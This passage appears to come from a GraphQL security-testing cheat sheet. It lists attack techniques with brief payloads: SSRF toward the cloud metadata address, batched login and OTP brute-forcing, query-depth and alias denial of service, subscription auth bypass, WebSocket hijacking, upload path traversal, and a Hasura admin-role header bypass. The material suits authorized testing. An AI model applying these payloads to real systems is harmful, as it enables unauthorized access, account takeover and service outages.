  SSRF via URL args        Point URL fields at 169.254.169.254
  Directive flooding       10,000 @include(if: true) on a single field

BATCHING
  Array batching           [{"query":"mutation{login(...)}"}, ...]
  Alias batching           a1: login(...) a2: login(...) ...
  OTP exhaustion           Batch all 4-6 digit codes in chunks of 500
  Tools                    CrackQL, BatchQL

DoS
  Depth bomb               Nest circular relationships 8+ levels
  Alias amplification      1000+ aliases on an expensive resolver
  Fragment cycle           Circular fragment spreads (A -> B -> A)
  Incremental delivery     @defer/@stream on expensive subtrees

SUBSCRIPTIONS
  No-auth subscribe        connection_init with empty payload
  Token expiry test        Connect, wait for JWT expiry, send new subscription
  CSWSH                    Cross-site WebSocket hijack via malicious page

FILE UPLOAD
  Multipart spec           -F operations=... -F map=... -F 0=@file
  Path traversal           Manipulate map JSON paths
  Type bypass              Upload executable with benign Content-Type

INFO DISCLOSURE
  Verbose errors           Type-mismatched arguments, observe stack traces
  Federation SDL           { _service { sdl } }
  Hasura headers           x-hasura-role: admin without admin secret

Key References

关键参考